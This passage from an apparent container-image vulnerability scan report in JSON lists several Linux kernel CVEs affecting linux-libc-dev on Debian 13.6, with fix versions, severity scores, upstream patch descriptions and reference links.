"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89631", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/8/ALSA-2026-85774.html", "https://errata.rockylinux.org/RLSA-2026:85773", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-93288.mbox", "https://git.kernel.org/stable/c/33d1469b0124cc0baaea7a2032123b77a81e0940", "https://git.kernel.org/stable/c/3b9aa62d78ce80de47af2db472ff452398755213", "https://git.kernel.org/stable/c/5570d6c8b320dbcc602617ee08c27ce752fed65a", "https://git.kernel.org/stable/c/ba2e246aa294f9acd86194ea87fb6834ed0a37ac", "https://git.kernel.org/stable/c/dc20050b6b12ca58066715d088e1a537535d938d", "https://git.kernel.org/stable/c/f4461654374576e9d5d0245fd534c46ad8509051", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-ile2zor2vjdr.toml", "https://linux.oracle.com/cve/CVE-2026-93288.html", "https://linux.oracle.com/errata/ELSA-2026-85773.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93288", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-93288" ], "PublishedDate": "2026-09-24T17:17:10.07Z", "LastModifiedDate": "2026-10-03T11:17:47.413Z" }, { "VulnerabilityID": "CVE-2026-93787", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93787", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:56ccc9d86cbc37b75264fb15757810d6553d90769144cd728195f59727800302", "Title": "kernel: smb: client: bound dirent name against end of SMB response in cifs_filldir", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: bound dirent name against end of SMB response in cifs_filldir\n\ncifs_filldir() copies the entry name out of an SMB1 TRANS2_FIND_FIRST /\nFIND_NEXT response using a length (de.namelen) supplied by the server.\nThe kmalloc'd SMB response buffer is bounded, but nothing checks that\nde.name + de.namelen still lies inside that buffer before the eventual\nfilldir64() -\u003e verify_dirent_name() -\u003e memchr() reads namelen bytes.\n\nA hostile SMB1 server that returns an oversized FileNameLength in a\ndirectory entry therefore causes memchr() to read past the end of the\nresponse slab buffer. Reachable from any user who can list a directory\non a CIFS mount served by an attacker-controlled server (getdents64()\non the mounted directory):\n\n BUG: KASAN: slab-out-of-bounds in memchr+0x71/0x80\n Read of size 1 at addr ffff88800e0640cc by task poc/115\n Call Trace:\n dump_stack_lvl+0x64/0x80\n print_report+0xce/0x620\n kasan_report+0xec/0x120\n memchr+0x71/0x80\n filldir64+0x4c/0x6a0\n cifs_filldir.constprop.0+0x9bb/0x1e00\n cifs_readdir+0x2101/0x3380\n iterate_dir+0x19c/0x520\n __x64_sys_getdents64+0x126/0x210\n do_syscall_64+0x107/0x5a0\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nPass the end-of-response pointer down to cifs_filldir() and reject\nentries whose name would extend past that boundary.\n\nThis bug was discovered by Artiphishell's vTriage pipeline, which\ngenerated a userspace reproducer (an emulated hostile SMB1 server plus\na getdents64() client) that reliably triggers the KASAN report on an\nunpatched kernel. The fix below was drafted with the Claude coding\nassistant; a userspace reproducer is available on request.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/errata/RHSA-2026:93437", "https://access.redhat.com/security/cve/CVE-2026-93787", "https://bugzilla.redhat.com/2502326", "https://bugzilla.redhat.com/2502327", "https://bugzilla.redhat.com/2502615", "https://bugzilla.redhat.com/2516579", "https://bugzilla.redhat.com/2516935", "https://bugzilla.redhat.com/2540555", "https://bugzilla.redhat.com/2559835", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-93437.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-93787.mbox", "https://git.kernel.org/stable/c/03003506c86f90312b0966283662c42fcab66e4b", "https://git.kernel.org/stable/c/4cb3d79beee0fecc739ce07af915d503f29ae557", "https://git.kernel.org/stable/c/6e3b965267b7313903baba2739992b1e2e92d540", "https://git.kernel.org/stable/c/cf87ef1e62ed31a439064cef69d6eec38c68bd92", "https://git.kernel.org/stable/c/f8cf09a53a0dc1da298e9dd0ba5f21710cf119d6", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-rw0v4f1kee9f.toml", "https://linux.oracle.com/cve/CVE-2026-93787.html", "https://linux.oracle.com/errata/ELSA-2026-93436.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93787", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-93787" ], "PublishedDate": "2026-09-24T17:17:11.363Z", "LastModifiedDate": "2026-10-03T11:17:48.293Z" }, { "VulnerabilityID": "CVE-2026-93817", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93817", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b8d012e64761dc29421543a1354776de183c9cc43795c6ac08aa31daa82a5bad", "Title": "kernel: perf: Fix addr_filter_ranges lifetime", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf: Fix addr_filter_ranges lifetime\n\nLee Jia Jie reported that since event::addr_filter_ranges is used\nunder RCU, it should be RCU freed.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-93817", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-93817.mbox", "https://git.kernel.org/stable/c/1d8e1e99b063de4179cc8af14d08115d74a37abf", "https://git.kernel.org/stable/c/6f1853b2b9f38f1343790bae8c0601b3f7554754", "https://git.kernel.org/stable/c/a0b1ec3a2daf4d4233fae9b5b8d657b4a5db4df6", "https://git.kernel.org/stable/c/cd8dab11046c03ab07899ce3fe2aa7d1a9702cf1", "https://git.kernel.org/stable/c/e62d4192e593630f355094adc467058a05bdc935", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-zjdir6glgvax.toml", "https://linux.oracle.com/cve/CVE-2026-93817.html", "https://linux.oracle.com/errata/ELSA-2026-88477.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93817", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-93817" ], "PublishedDate": "2026-09-24T17:17:15.233Z", "LastModifiedDate": "2026-10-30T13:21:03.323Z" }, { "VulnerabilityID": "CVE-2026-93827", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93827", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9956427f4fc116104d098bd13f21a2e8261d4edf7cb49742f53ff3cfd95e1608", "Title": "kernel: virtio-fs: avoid double-free on failed queue setup", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvirtio-fs: avoid double-free on failed queue setup\n\nvirtio_fs_setup_vqs() allocates fs-\u003evqs and fs-\u003emq_map before calling\nvirtio_find_vqs(). If virtio_find_vqs() fails, the error path frees both\npointers and returns an error to virtio_fs_probe().\n\nvirtio_fs_probe() then drops the last kobject reference, and\nvirtio_fs_ktype_release() frees fs-\u003evqs and fs-\u003emq_map again. This leaves\ndangling pointers in struct virtio_fs and can trigger a double-free during\nprobe failure cleanup.\n\nSet fs-\u003evqs and fs-\u003emq_map to NULL immediately after kfree() in the\nvirtio_fs_setup_vqs() error path so that the later kobject release sees an\nuninitialized state and kfree(NULL) becomes harmless.\n\nThis can be reproduced when a broken virtio-fs device advertises more\nrequest queues than the transport actually provides. In that case\nvirtio_find_vqs() fails while setting up the extra queue, and the probe\npath reaches the double-free cleanup sequence.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-93827", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-93827.mbox", "https://git.kernel.org/stable/c/20ef4739b329bb09cff11dd2458795a50674658e", "https://git.kernel.org/stable/c/3fbc5ee776fefbc6ea34d2518f1f5f90aa2e1dad", "https://git.kernel.org/stable/c/6af3330ec5d5fb8c06c04eb520a71cf73ea5a765", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-qlg0dsti52s9.toml", "https://linux.oracle.com/cve/CVE-2026-93827.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93827", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-93827" ], "PublishedDate": "2026-09-24T17:17:16.41Z", "LastModifiedDate": "2026-09-25T13:17:23.513Z" }, { "VulnerabilityID": "CVE-2026-97417", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97417", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:678e02986ce46e319dd653766185aefa3d4c6436b32d11d87aca210b89075893", "Title": "kernel: netfilter: nf_conntrack: use get_unaligned_be32() in tcp_sack()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_conntrack: use get_unaligned_be32() in tcp_sack()\n\nThe timestamp-only fast path dereferences the option stream as\n*(__be32 *)ptr, which assumes 4-byte alignment that the TCP option\nstream does not guarantee. Use get_unaligned_be32() instead, which\nreads the value safely and already returns host byte order, so the\nhtonl() on the comparison constant can be dropped.\n\nThis matches the existing get_unaligned_be32() use later in the same\nfunction.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 1, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-97417", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-97417.mbox", "https://git.kernel.org/stable/c/0d5ad732e4fdc569eb85861115e8f7b4c2c67852", "https://git.kernel.org/stable/c/4abc1af7ac209c066f4e5dd75cdd56876e5829a9", "https://git.kernel.org/stable/c/55bcc3376cd7b18954cc9814da697504fdaf12bf", "https://git.kernel.org/stable/c/740ad3d17a281f7764dda4dbeb37cea52e2e31ae", "https://git.kernel.org/stable/c/7ecfa46a536578a7ed335ddf31a854127268c27c", "https://git.kernel.org/stable/c/a0523267de2523522b0f70972dd1ffa22ec6176c", "https://git.kernel.org/stable/c/d3bf9eae486490832bd08fd62ab0ac601f346bd4", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-peim2i8jgivr.toml", "https://linux.oracle.com/cve/CVE-2026-97417.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97417", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-97417" ], "PublishedDate": "2026-09-24T17:17:19.457Z", "LastModifiedDate": "2026-10-03T11:17:53.747Z" }, { "VulnerabilityID": "CVE-2026-97528", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97528", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7b6a022b8f80755e8698e60591fe1739986e41def05c2a4c90508b3af4101932", "Title": "kernel: scsi: qla2xxx: Unlink NVMe unsol ctx before freeing on LS reject error", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: qla2xxx: Unlink NVMe unsol ctx before freeing on LS reject error\n\nqla_nvme_xmt_ls_rsp() obtains uctx, which was linked into\nfcport-\u003eunsol_ctx_head by qla2xxx_process_purls_iocb() and is still linked\nwhen the NVMe transport calls back to transmit the LS response. On the\nerror (out:) path the function frees 